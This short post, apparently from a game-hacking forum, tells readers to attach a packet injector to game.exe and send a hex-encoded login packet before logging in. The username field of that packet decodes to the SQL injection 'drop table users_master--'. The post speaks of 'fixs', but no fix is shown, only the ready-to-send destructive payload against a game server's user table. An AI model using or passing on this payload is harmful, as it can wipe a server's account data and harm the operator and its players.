I'll show you how it was done
but first the fixs for it:

get a copy of working packet injector and attach to game.exe
before login send this packet
Code:
02 A1 27 64 72 6F 70 20 74 61 62 6C 65 20 75 73 65 72 73 5F 6D 61 73 74 65 72 2D 2D 00 00 00 00 00 00 70 61 73 73 77 6F 72 64 00 00 00 00 00 00 00 00
its basicly the "02 A1" login packet with 'drop table Users_Master-- as the username.